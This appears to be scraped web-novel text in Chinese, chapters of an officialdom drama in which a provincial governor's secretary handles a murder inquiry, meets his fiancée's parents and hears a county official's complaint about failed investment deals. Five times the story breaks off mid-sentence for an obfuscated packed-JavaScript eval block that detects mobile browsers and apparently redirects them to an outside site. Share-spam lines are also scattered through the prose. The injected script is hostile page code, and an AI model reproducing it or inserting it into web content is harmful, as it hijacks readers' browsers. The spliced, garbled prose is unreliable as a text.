熟悉的陌生人 宫庆鑫将顾澜叫到了局长办公室。 李承在这里会见了她。 顾澜看起来三十出头的年纪,瓜子脸,脸上有整容的痕迹,却是恰到好处的整形,没有僵硬感。 穿着一个米色的风衣,整个人坐在那里,气质极佳。 属于那种风韵犹存的气质少妇。 她的眼眶是红润的,眼睛里布满了血丝,情绪十分低落。 “顾澜,这位就省长秘书,李承,他有些事情想问你。”宫庆鑫向顾澜介绍起李承的身份。 “嗯,李秘书。” 顾澜微微点头,跟李承打了一个招呼。 “我主要想跟你了解一下,关于你们被盗走的证据里面,具体内容是什么?”李承开门见山地问。 昨天,李承以为周一就能看到材料,并没有细问陈东。 没曾想会发生这种事。 “不重要了,我这里也没有备份,那些东西销毁了,就没有第二份。”顾澜摇了摇头,不打算再追究此事。 “这件事涉及到您丈夫的案情,还与您弟弟有关,我希望您能配合,省政府一定会替你们讨回公道。”李承认真地说。 “我老公已经**,查清楚他也不能复活,至于我弟弟,要是没有这个害人精,我老公也不会死,就是让自生自灭吧。” 顾澜沮丧且疲惫地说。 她经历了这样黑暗的事情,作为普通老百姓,她也不准备再去做任何反抗。 对于备受打击的她来说,抚养好女儿,就是她的责任。 至于其他事,她不想掺和了。 她怕掺和进去,下一个被灭口的人,就是她自己! 而且,她深知一点,若不是昨晚有应酬不在家,那么,她也将是对方的刀下亡魂! “顾女士,我们能理解你的心情,但这件事.” “如果你真能理解我的心情,就不会选在这个时候问我,我现在没心情聊这些,没其他事情,我要回去了!” 顾澜说完,从沙发上站起身。 “嗯,节哀。” 李承没有再勉强对方。 顾澜走后,李承配合宫庆鑫也做了一个笔录,这才离开。 案发现场发现了李承的名片,做笔录属于正常流程。 次日。 李承向孟良德做出汇报,因为没有发生重大事故,孟良德对此事也就没那么在意。 一切交给**部门处理。 上午,李承的父母也从封兰赶到了汉江。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 李承安排双方父母见了面,对于李承和许梦的婚事,双方父母也都是赞同态度。 都希望他们两个可以尽早结婚。 这次家长见面,很是顺利。 下午,李承带着双方父母和许梦,赶往了海华购物中心。 马上就要开春了,给几位长辈买些衣服,也是表达一下他的孝心。 南北方温差大,李承父母在北方,要**天的衣服,而给许梦父母要挑选夏季。 逛了一个多小时,两位父亲也挑选了自己心仪的衣服,董丽也选了一套运动服,准备开春穿。 唯独崔红丹看了几家店,都没有找到心仪的。 见状,李承低声问许梦:“阿姨平时喜欢穿什么样的衣服? “我妈妈比较喜欢穿旗袍。许梦看了一眼正挑选款式的母亲,说。 “哦哦。 李承点了点头,迈步走向崔红丹,微笑说:“阿姨,四楼有一家旗袍店,要不我们去那里逛逛? 海华购物广场已经算是汉江较为高档的购物中心,服装店铺齐全。 “好呀。 崔红丹笑着答应,在李承的带领下,一行人去了四楼的旗袍店。 来到这里,崔红丹的眼睛明显亮了些。 不再是漫无目的地乱看,也有自己明确的目标:“服务员,这个给我挑选一件,我试试。 “好的女士。 服务员微笑服务,询问崔红丹的尺码后,去拿衣服。 “宝宝,那个人是不是秦虹? 正在李承跟几位长辈说说笑笑时,许梦拉了拉李承的胳膊,问。 有次吃饭,李承和许梦偶遇过秦虹家里安排相亲,对秦虹的长相,她有点印象。 李承闻声看过去,正好与秦虹对视在了一起。 秦虹不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138627|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一个人,她的父母也在,除此之外,还有上次在餐厅遇见的相亲对象牛经理。 “走吧,咱们换一家店逛。 冯桂枝也看到了李承,她直接将目光挪开,拉起秦虹准备离开。 或许是为了找回面子,冯桂枝大声地问牛经理:“小牛呀,我听说你们开年终奖了,今年没少开吧? “不多,开了二十万。牛经理说。 “二十万还不多呀,有些人一年工资也赚不到二十万,呵呵呵冯桂枝傲气地笑着。 这话是她故意说给李承听的。 她不想承认自己拆散李承和秦虹的错误,所以,她要用牛经理的高薪工资来作证 听说看这本书的人都是很幸运的,分享后你的运气会更棒 她决定的正确性。 “李承,这么巧呀。” 秦虹并没有被冯桂枝拉走,她率先开口,冲李承微笑招呼。 “嗯,是挺巧的。”李承回以一笑。 曾经无话不谈的两个人,到现在,除了一句招呼外,尴尬到不知道说些什么。 “走啦,一个旗袍没什么好看的。”冯桂枝用力拉了一下秦虹。 秦虹被她拽着,只好跟着她离开。 可正当她们准备走时,牛经理推了推眼镜,目光定在李承身上。 在秦虹的招呼后,他才看见李承。 “李处长,您也在这里。” 在确定是李承后,牛经理大步流星地走向李承,把冯桂枝他们抛在脑后。 “我们上次见过面的,那次多有得罪,是我不懂事了,还请您别介意呀。” 牛经理主动伸出手,脸上挂着谄媚的笑容。 上次,他讥讽挖苦了李承,那是因为**李承是省长秘书。 当他后来得知了李承的身份后,吓得几天惶惶不安。 他生怕李承记仇。 毕竟,以李承的身份,只要想找他的麻烦,他们老板一定会将他开除,给李承泄愤。 李承并没有跟他握手,直接无视。 “李处长,您晚上有时间吗?我想请您吃个便饭,表示下歉意,我呢,现在跟秦虹在处朋友,您不看我的面,也看一下她的面子呗。” 第228章 受害者 牛经理是在国资企业上班。 最近一段时间,他一直想着往总监的岗位爬。 如果能跟李承不打不相识,成为了朋友,到时候只要李承开个口,他总监的位置就是板上钉钉。 为了职位,脸皮算个屁。 哪怕是绑上秦虹一起,只要能跟李承结交,他也乐意至极。 可对于他的殷勤,李承只是冷冷地注视着他,没有开口。 任由他一个人,尴尬地站在原地。 见到这一幕,秦虹直接甩开冯桂枝的手,单独离开了。 她本就不喜欢牛经理,跟对方试着相处,是因为父母不停在撮合,以及牛经理对她确实也很好。 但今天牛经理在李承面前的孙子表现,让她感觉十分恶心。 “虹虹,你走那么快干什么,等会儿。” 冯桂枝快步追上女儿,也将牛经理丢下。 她费劲心思想要挽回的颜面,却被她引以为傲的牛经理亲手打破。 这种感觉,比让她吃了死苍蝇还难受。 她的脸,算是被牛经理丢尽了,她在李承这也根本再抬不起头。 周一,中午。 孟良德午休期间,李承接到了来自宫庆鑫的电话。 “李秘书,伊莉莎已经被逮捕归案,我亲自对谢志强的问题进行了审讯,但她态度很坚定,说谢志强两年前就**。 我看她的态度,不像是在说假话。” 宫庆鑫将情况告知给李承。 关于田进华在审讯室内传递出来的消息,李承是相信的。 但对此,宫庆鑫始终是抱有怀疑的态度。 一,谢志强被车撞的监控,以及医院开具的死亡证明都是真实存在的。 如果是雷二利托关系,给谢志强办理的假死,这有可能性,毕竟雷二利在汉江的势力很大。 可谢志强的死,如果是雷二利下令做的。 伊莉莎等人想给谢志强办假死,不仅需要医院的关系,还要逃过雷二利的眼睛,其中的难度非常大。 二,田进华本身就是江湖人,是雷二利的下属,他女儿还在雷二利手里做人质。 从这个角度上讲,他同样认为田进华不可能出卖雷二利。 宫庆鑫的分析有理有据,外加他心里早已经认定田进华在说谎,这个标签在他心里贴上了,别人再想改变很难。 如果不是李承一再坚持,他压根不会从谢志强入手调查。 “从抵押车的方向入手,能否定伊莉 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 莎的罪?李承问。 田进华是真是假,还有待考证。 只要将伊莉莎控制起来,这件事后续调查也就方便很多。 “**可以定性,虽然还在取证阶段,但她出不去。宫庆鑫回道。 “嗯,那就行。 李承应了一声,问:“陈东案,有没有进展? “在他父母家的农村地窖里,找到了八十万的现金,据他父母说,这八十万是张军在行凶当日拿回去的。 这些钱基本可以确定是雇**人的费用,已经将钱款扣押,等待下一步的调查取证。宫庆鑫说。 “雇张军行凶的人,有没有线索?李承问。 花海集团和赵金福,这都是推测,具体要拿出实质性的证据。 疑罪从无,这是法律的原则。 “我们调取了张军近半个月的行踪监控,发现他跟叫李铁的人,来往很密切。 这个李铁多次去煎饼摊找过张军,出手阔绰,在案发当天,李铁还去过张军家里,一共待了四十五分钟。 而且李铁跟雷二利的犯罪团伙有一定联系,我们推测,这个人就是雇**人的中间人。 他已经提前逃去了外省,我们正在对其进行抓捕。宫庆鑫道。 “嗯,我知道了。 李承应了一声,两个人根据案情又简短地聊了两句,这才挂断电话。 坐在沙发上,李承回想起那天下午张军被**的画面,心中感慨万千。 张军是坏人吗? 从法律上讲,他是一个坏人,他杀害了一个跟他无仇无恨,素不相识的人。 毁坏了一个家庭。 可从另一种角度上讲,他是一个可怜人。 一个癌症晚期的患者,没有想过去治疗,靠着去疼片度日。 生命已经走到了尽头,每天还在为了生计而奔波,想给女儿多攒一些学费。 在明知自己时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138628|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日不多后,他为了给家人在赚一笔钱,选择了一条不归路。 这不是一个正确的选择,却也是他的无奈之举。 若不是被生活逼到了绝路,他不会走这条路。 而更可怜的,是无辜的陈东一家。 以及张军的女儿。 一个女孩子,眼睁睁看着自己父亲被**,**在众人的目光注视下,这对她的心理创伤是不可估量的。 而从此以后,在她的头顶上,还会被挂着一个**犯女儿的头衔。 张军为了他的错误,付出了生命, 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 也伤害了他的家人。 可到最后,他用命换来的八十万,却与他的家庭无缘。 这是赃款,是违法所得。 这笔钱追缴上来,会作为赔付给陈东的家人。 张军的家人,一分钱也拿不到。 如果张军还有灵魂留在这个世界上,看到这样的结局,李承想,他一定不会再选择走这条路 ‘铃铃铃’ 李承正想着这些案情时,办公座机响了起来。 这个电话是门卫的电话。 “这里是省长秘书室。”接通电话,李承道。 “李秘书您好,有位风林县的**副县长想见孟省长。”门卫说明情况。 “我这里没有她的预约。” 李承看了一眼孟良德的行程表,并没有**的预约记录。 但对于**,李承是有印象的。 当初风林县产业园区建设,李承跟着孟良德去视察,见过她。 因为她是风林县唯一一位女副县长,口齿十分伶俐,当时她特意跟李承打过招呼,李承对她的印象较深。 “你让她接电话吧。”沉默了片刻,李承说。 虽然**是副县长,但同样没有资格随意进入省政府,需要预约登记。 她没有预约,李承如果不开口的话,**这位风林县的父母官,也同样会被拒绝放行。 “好的,李秘书。” 门卫答应一声,将电话交给了**:“李处长,您好,我是风林县的副县长**,上次您陪同孟省长来我县考察时,我们见过,您还有印象吗?” 第229章 林县长 “林县长我这里没有你的预约你突然到访是有什么重要事情要汇报吗?”李承问。 电话已经打到了这里李承就要履行秘书的责任。 即便对方没有预约李承也要了解情况再根据情况的重要性决定是否要通知省长。 毕竟一个贫困县的副县长放在他们县是大官来到省政府她的职位根本不够看。 “是关于风林县产业园区的招商和建设问题我跟县里领导各持己见想跟省长做个汇报。”**说。 风林县产业园区是省委省政府重点关注的项目。 与这件事相关**又在没有任何预约的情况下 “嗯你把电话给门卫。”李承决定要见一下**。 “好的李处长。” **答应将电话递还回去。 “李秘书您说。”门卫接过电话态度客气。 “让她进来吧。” “好。” 十分钟后一身职业装的**敲了敲门走进李承的秘书间。 **个子不高一米六的个头瓜子脸大眼睛小嘴巴。 头发过耳却不及肩膀属于中分短发给人的感觉很干练。 “李处长您好。” **的高跟鞋踩在地面上发出‘哒’‘哒’的清脆声响。 她走到李承面前恭敬地伸出手露出标志性微笑。 “你好林县长。” 李承站起身跟**握了一下。 她的手很小巧皮肤光滑触感却是冰凉。 还没有开春外面的温度是零下**穿着却很单薄。 “坐。” 李承示意**入座后他倒了一杯温水递了过去玩笑地说:“外面这么冷还穿这么少呀这就是你们美女追求的美丽冻人吗?呵呵呵。 喝杯温水暖和暖和。” “谢谢。” **接过水杯喝了一小口。 普普通通的一杯温水却让**对李承的好感倍增。 她这次来是贸然前来也是带着严重意见不合赌气而来。 这也是她没有预约的原因。 像她这种小官放在汉江就是一粒尘埃得不到太大的重视。 在来省政府之前她就碰了壁。 风林县产业园区是**马洪波提出的重点产业改革升级项目她认为省委一定会特别重视。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 所以,她到达汉江后,第一站去的省委大院。 因为没预约,她甚至连秘书张英双的面都没见到,对方只是冷冷地回了一句:没预约,不接见。 **在省委吃了一个闭门羹。 同样没预约,可到了省政府后,李承选择接见了她,还体贴地倒了一杯温水,关心了她的保暖问题。 这种细节上的小举动,让她倍感温暖。 “你从风林县这么远赶过来,怎么没预约呢?”李承坐在她的对面,问。 “唉不怕您笑话,我是被气跑的。” **放下水杯,将脸颊的碎发挽到耳后,表情无奈。 “具体怎么回事?”李承追问。 作为秘书,他要先了解清楚情况。 “省里的扶持基金下来后,县里加班加点地搞建设,修路,我作为分管经济的副县长。 也开始去跑企业,算是四处求爷爷告奶奶,谈下来几家愿意将厂子迁到我们风林县的企业。 结果,临到签合同的时候,陈红旗县长变了卦,非要加条件,结果,这几家企业都谈崩了!” 提起此事,**就气不打一处来。 这几个企业,都是她亲自跑到南陵市去拉拢过来的。 苏原省的领导班子,本就对东江省准备拉拢他们省本土企业的预谋,感到非常的反感和厌恶。 **去南陵谈合作,那都是偷偷摸摸过去的。 提心吊胆,拉下脸皮就谈了几家,结果到头来,却被陈红旗这个站着说话不腰疼的县长给一窝端了。 这种事,就算换做一个软柿子都会生气。 何况,**不是软柿子,她在风林县是出了名的脾气暴躁。 “他要加什么条件?”李承问。 陈红旗这个人,李承的印象很深。 一个典型的本土派,个人能力一般,能坐上县长的位置,靠的是资源和时间的堆积。 往往像这种‘人情官员’,上任之后最有可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138629|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出现**问题。 “他要让企业按比例承担修路费用,并要求每个企业提供一百个长期就业岗位给当地贫困户。 还将税收减免政策,从三年缩减到了一年,减免比例也降低了。” **一五一十的汇报道。 从她的言论上听,陈红旗的决策是为了尽快推进风林县经济发展而考虑。 至少,从表面上分析,他的初衷是好意。 但即便他是好意,临到签约时的坐地起价行为,也是令人不 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 齿。 这严重破坏了政府的信誉,是非常愚蠢的行为! “李秘书,本来拉拢企业迁徙就是难题,苏原省也在阻拦。 若非地理位置的优势,和政策推动,这些企业压根不会考虑到我们风林县建厂。 我谈了小半年才谈下来的几家企业,他就这么搅合黄了,我真是” **说到这,差一点就爆了粗口。 她强压下去到嘴边的脏话,端起水杯再次喝了一口。 “这些企业都跑了,现在陈红旗什么态度?”李承问。 “因为这件事我跟他吵了好几次架,但他的态度还是很坚定,说那些是为了风林县发展的必要条件。 还说那些企业都是吓唬县政府,他自大地认为,那些企业除了风林县之外,就没有其他地方可以迁。 我是实在没办法了,才往省里跑的。”**满脸的愤慨之色。 “哦哦,县委那边没参与吗?”李承再次问。 产业园区是风林县当下的重中之重,县委作为决策层,他们的态度同样关键。 尤其是县委**王革,李承记得当初视察时,他对这个项目很有自信,还在孟良德面前夸下海口。 不该这么任由陈红旗瞎搞才对。 “王**在**中拿不到票权,以前他是想管,管不了,现在也不想管了。” **无奈地说。 县委**是县域最高决策层,**票权牢牢被陈红旗牢牢掌控,王革这个**,目前处于被架空的状态。 现在的风林县,是陈红旗的一言堂! 第230章 发火 “你们没有向市里反映过情况吗? **直接跑到省里汇报,这属于是越级汇报。 风林县归属于滨西市的管辖范围,正常情况,她需要向市长冯坤做汇报。 “市里面刚完成权力交接,对于我们县的情况反映,关注度不高。**微微摇头,语气尽是无奈。 如果能通过市里解决问题,她也不至于跑到省里来。 滨西市前不久刚出了重大矿难事件,****吴刚被查,市长冯坤也有牵连。 新任**上任后,一直在重组内部班子,以及解决滨西矿业等市内问题,对于风林这个小县城,并不上心。 **向市里反映了几次,每次都有答复,却均未落实。 陈红旗依旧我行我素,态度坚决。 无奈之下,**这个暴脾气才冲到了汉江来,决定向省委省政府反映情况。 “嗯。 李承微微点头,他看了一眼时间,问:“你这个汇报,需要多久的时间? “我尽量缩短时间,十分钟之内。**想了想,道。 “你准备什么时间回县里。李承想了想,又问。 给**挤出十分钟的时间汇报工作并不难,但李承觉得,十分钟只够她汇报情况,却没办法深度地聊这个问题。 孟良德对风林县的产业园区很重视,时常会问起。 以前李承都是根据上面递交上来的材料,做出汇报。 这些材料,基本都是报喜不报忧,水分很大。 这次**过来,刚好能够全面地进行一次汇报。 “明天回去也可以。**说。 风林县还有很多公务需要她处理,但为了争取一次跟省长见面的机会,她愿意推迟和加班。 “我觉得十分钟不够,这样,你去综合一处休息一会,留个电话给我,省长有时间我通知你。李承说。 省政府办公楼有休息等待区域,但综合一处是李承的地盘,要比休息区舒服。 给她安排到那里休息,也算是卖个人情。 “好,谢谢李处长。 十分钟的确不够,**也想跟孟良德长谈这件事。 李承既然愿意为她争取更长的时间,等几个小时,她也乐意至极。 晚上六点,孟良德批阅完最后一份文件,准备下班。 “省长,今天风林县分管经济的副县长**来过。 李承整理着办工作桌,将情况汇报给孟良德:“她说, 听说看这本书的人都是很幸运的,分享后你的运气会更棒 现在风林县的招商遇到了麻烦,陈红旗县长决策上有失误,导致很多企业没办法落地。” “怎么没见到她人呢?” 孟良德听到是关于风林县产业招商问题,重视了起来。 “她没有预约,现在还在外面等您。”李承说明情况。 “嗯,让她进来吧。” 孟良德疲惫地伸了一个懒腰,走向会客区。 李承则退出办公室,亲自去了综合一处,将**叫了过来。 “省长,林县长到了。” 李承将**带进办公室,说。 “孟省长,您好。” **快步走到孟良德面前,伸出双手。 孟良德站起身,跟她握了下手,让对方坐下:“林县长,坐。” “我听李秘书讲,你们在产业招商上遇到了麻烦,具体说说。”孟良德开门见山。 他忙碌了一天,身体和精力很疲惫。 他也想早点结束工作,可以回去放松休息。 “是的孟省长,在招商问题上,我和陈红旗县长出现了严重的意见不合,他过早的追求利益,严重破坏了政府和企业家们的和谐” 接下来,**将具体情况,详细的讲述给了孟良德。 “他这哪叫追求利益,这就是愚蠢至极!” 听完汇报,孟良德直接发了火:“优惠企业的政策,是省里定下来的,他居然敢擅作主张的加码,成事不足败事有余!” 陈红旗作为一县之长,如果格局只有眼前这一点利益,那么,在孟良德看来,他也就不配做县长。 县长,要掌握大局,要有长远的战略远光。 尽管陈红旗的初衷可能是好的,但**从不看初衷,只看结果和过程。 陈红旗犯了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138630|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错误,而且是非常严重的错误! “这件事,你没有跟冯坤做出过汇报吗?”孟良德伶俐的目光看向**,问。 “汇报过。” **这位风林县,人送外号暴躁狂的女县长,在孟良德的气场下,也不敢喘大气。 “他什么态度?”孟良德追问。 “冯市长说会做陈县长的工作,可陈县长还在一意孤行。”**微微低着头,如实说。 “我现在就给冯坤打电话,问问什么情况!” 孟良德拿出手机,翻找出冯坤的号码,拨通了过去。 “冯坤,我问你,你知不知道风林县招商现在属于什么情况?” “你这个市长怎么当的?那些谈成的企业 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 都要跑光了,你还在这一切正常? **同志向你反映过陈红旗的情况吧,你到现在有没有认真的落实?” “疏忽?好嘛,你一句疏忽,就想要省委省政府的投资和规划全部破产是吗?” “你别跟我说这些借口,我要结果,什么时候能给我结果?” “行,我等你的消息!” 电话那边,冯坤讲了什么,李承和**听不见。 但这通电话,孟良德给冯坤劈头盖脸地骂了一顿后,李承猜想,这件事很快就能落实解决。 什么事情都怕闹大,一旦闹大,闹到了更高级别的耳朵里,要被训斥和追责的人就多了。 解决速度,也相应就快了。 “**同志,冯坤会解决好这件事,你回去就行,如果再有什么问题,你直接联系李秘书。” 孟良德挂断电话,对**说。 “好的孟省长。”**点头。 “风林县的招商工作很重,还望你能继续担起肩膀上的责任,这是风林县的一次机遇。 也可能是风林县未来几十年唯一一次的机遇,错过了,风林县就很难再发展起来了。” 孟良德认真地叮嘱道。 “还请孟省长您放心,我一定会尽最大的努力,为风林县的百姓争取这次机会。” 第231章 热情的陈锋 ‘我的爱如潮水爱如潮水将我向你推.’ 孟良德回迎宾馆后李承开着车准备去酒店接许梦的父母吃饭。 期间他的手机铃声响了起来。 “喂您好?” 接通电话李承按下扩音键。 “李处长我是**。”对方自我介绍。 “林县长呀怎么了?”李承问。 “今天谢谢您我想代表风林县的百姓请您吃个饭您方便吗?”**真挚地邀请道。 她在省里跑了一天总体是顺利的。 但这份顺利她要感谢李承。 尤其是去过省委遭到张英双的冷漠拒绝后有了对比她更认可李承。 她的时间掐得恰到好处。 她知道李承要先去送孟省长所以等待了很久才拨通了这个电话。 “我这边还有别的安排以后会有机会的现在时间还来得及有高铁你也尽早回去吧。”李承婉拒道。 如果许梦的父母不在李承或许会考虑跟**吃顿饭聊一聊工作上的问题。 但许梦父母远道而来李承白天忙工作晚上要尽可能地陪同。 “嗯那好随时欢迎李处长来我县视察工作。”**客气道。 “呵呵呵好。” 李承一个秘书哪有什么视察工作的安排他的工作只是服务好省长。 但一句客套话李承也就随口应下。 挂断电话 许梦要录制节目晚上由李承一个人陪同二老。 酒店还在牡丹水汇。 他们两人住着也舒服李承也就没再更换。 李承赶到时崔红丹和许强正坐在酒店休闲区域跟陈锋聊天。 三个人聊得不亦乐乎。 “叔叔阿姨。” 李承走到他们面前微笑打招呼。 “李承来了我们正跟你朋友聊天呢他知道你和梦梦忙怕我和你叔无聊一直陪着我俩呢这小伙子可热情了人可好了。”崔红丹脸上带着灿烂的笑容。 “李处长这是山水湖的景区门票明天您有时间吗?如果没时间的话我来安排人陪同叔叔阿姨去逛一逛。” 陈锋从口袋里掏出几张门票对李承说。 山水湖是汉江的著名景点许梦父母远道而来自然要安排四处逛逛。 这是陈锋看中的机会。 服务好这二位比送礼更能 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 拉近他和李承之间的感情。 对于陈锋这种商人来说这种一笔很划算的情感投资。 “明天许梦休息她会陪着不劳烦陈总费心了。”李承婉拒道。 他知道陈锋安的什么心所以要保持好距离。 “就让小陈安排吧他对于汉江更熟悉朋友也多梦梦刚到汉江工作没多久她是个糊涂蛋我都怕她走丢了哈哈哈。” 崔红丹笑着劝李承。 她对陈锋的印象很好也看得出来陈锋有意跟李承交朋友。 安排一个旅游陪同在崔红丹看来又不是****没那么严重的后果不会影响李承的仕途。 而且他想要让陈锋安排也是有些虚荣心在作祟。 陈锋在汉江有权有势他安排的活动走到哪里都是VIP待遇。 作为普通老百姓她想体验一下这种人上人的感觉。 “李处长这些行程我都来安排到时候开了的发票你可得给我报销呀呵呵呵” 陈锋是个人精。 他知道李承的担心是什么所以才用玩笑的口吻提出让李承给他报销。 报销的钱是为了让李承图一个安心。 但相应的有一些花销他会替李承减免这是人情世故。 “好那就辛苦你了。” 李承伸手拍了拍陈锋的胳膊这是一种亲密距离的示好。 虽说他知道陈锋接触他是因为他的秘书身份。 最起码至今为止陈锋做的任何事情都恰到好处分寸感非常强。 “都是朋友嘛哈哈而且我和叔叔阿姨聊得也特别投缘就算不看你的面子以我现在和阿姨的感情我安排他们去玩一圈尽尽地主之谊也是应该的。” 陈锋一番话拉近了和李承的距离也说得崔红丹格外开心。 “陈总晚上我请你咱们一起去吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138631|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饭。”李承邀请陈锋。 “正好我肚子也有些饿了那就恭敬不如从命。” 陈锋沉浮多年对于客套和真心邀约是能分清的。 如果李承只是客套话就不会这么询问他。 饭店定在了一家特色铁锅炖。 许梦父母到了北方也该品尝一下北方的特色。 铁锅炖大鹅这是必不可少的一道菜。 陈锋比李承会说得多饭桌上他算是充当了一个李承的嘴替给崔红丹和许强哄得非常开心。 李承觉得 你的朋友正在书荒,快去帮帮他吧 个人陪着自己,也挺好的。 如果这顿饭只有他们三个人吃的话,李承都不敢想,气氛会有多尴尬。 “李处长,前几天那个****案,调查得怎么样了?” 饭吃到接近尾声,包括许强在内,也都喝了一些酒后,陈锋闲聊似的问。 “陈总,你的消息应该比我还灵通吧,我应该问你才对,呵呵.” 李承笑呵呵地打趣道:“谁不知道呀,你陈总的外号,可是汉江地下交通站,站长。” “那都是朋友们开的玩笑,信不得。” 陈锋摆了摆手,继续说:“死者的妻子顾澜,那是我朋友,就想着关心一下他们案情的进展,没别的意思。” “你是普天四海皆朋友,她但凡有你这么一位好朋友,也不至于走到这地步。”李承拿起筷子,吃了口豆角,说。 这不是假话。 如果顾澜和陈锋很熟悉,只要陈锋开个口,至少顾澜的弟弟不会推上去当那个替罪羔羊。 如果不是为了帮弟弟翻案,也就不会出现这场悲剧。 “当时她也没联系我呀。” 陈锋点燃了一根香烟,深吸了一口后,看似漫不经心地问:“看来这次,省里是真要下定决心,清扫雷二利了。” 这句话,看似无意,实则却有试探的意味。 “不是针对某个人,是所有涉黑的人和组织,都要清算。” 李承瞟了陈锋一眼,低声问:“陈总,你跟这些事没关系吧?” 第232章 地下交通站长 “我可是本分的生意人,怎么可能涉黑,呵呵呵 陈锋吸了一口烟,笑呵呵地说。 陈锋在汉江,是黑白通吃的角色。 雷二利也是他的朋友,但他从不参合江湖事。 他很清楚,一旦涉黑早早晚晚会面临被清算,所以,他从不触碰。 但江湖上的朋友要交,遇到一些事情,能有一个照应。 他的这种处事原则,也是他能把生意做大做强,却从不牵扯到官司的原因。 “你的黄河夜总会,我觉得就很危险。李承压低声音,说。 这句话,既是调侃,也是给陈锋提个醒。 现在还没有查到他的夜总会,但只要孟良德按照这个力度查下去,黄河夜总会被查,是早早晚晚的事情。 “我的夜总会顶多算擦边,擦的还不是涉黑的边。 陈锋微微一笑,说:“但我最近也准备停业一段时间,装修有些老了,该升级一下店面了。 他听懂了李承的言外之意。 尽管李承没明说,但为了规避风险,把这个风头避过去,总是稳妥的。 “李处长,我听说孟省长要被调任回京了,你有没有什么打算?陈锋话锋一转,突然问。 他这个问题,一时间让李承也有些措手不及。 李承看了一眼坐在对面的许梦父母,确认对方并没有听见后,否认道:“无稽之谈,没有这件事。 杨兆华那边都有耳闻,孟良德要被调任,的确有这个苗头。 但只要一天文件不下发,孟良德还是省长这个位置坐着,李承就不能承认这件事。 他的身份地位要依托孟良德,这个话题,是李承不愿提起的。 可看陈锋说得斩钉截铁,李承总觉得,他有一些内部小道消息。 “应该不是无稽之谈。 陈锋摇了摇头,继续说:“李处长,我没有试探你的意思,我是拿你当朋友。 所以,如果你没有其他打算的话,我想我能帮到你。 听到这句话,李承眉头微蹙,看向陈锋的眼神中多了一抹寒意。 陈锋只是一个商人,他居然开口说帮省长的秘书运作职位,简直是笑话。 至少李承认为这是一个笑话。 他觉得,就算孟良德离开东江省,李承服务他这么久,孟良德也会给他调去一个实权岗位。 压根不需要陈锋。 可在陈锋看来,李承离开了省长秘书的位置,只是一个副处级 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 干部。 这个级别,甚至没有资格跟他一桌吃饭。 他能提到给李承调动岗位,也是觉得李承这个人可交。 最主要一点,是他有需要李承帮助的地方。 不为财色所动的官员,陈锋见过不少,这类人通常会在意官职。 陈锋多这一句嘴,不是哗众取宠。 是想在李承还有价值空间时,跟李承达成一笔交易。 可当他感受到李承冰冷的目光时,就知道,这件事今天不能谈。 “我也就是随口一说,李处长,我们相处的时间还很长” 这句话就显得意味深长,耐人寻味了。 家中。 李承坐在沙发上,一个人抽着烟。 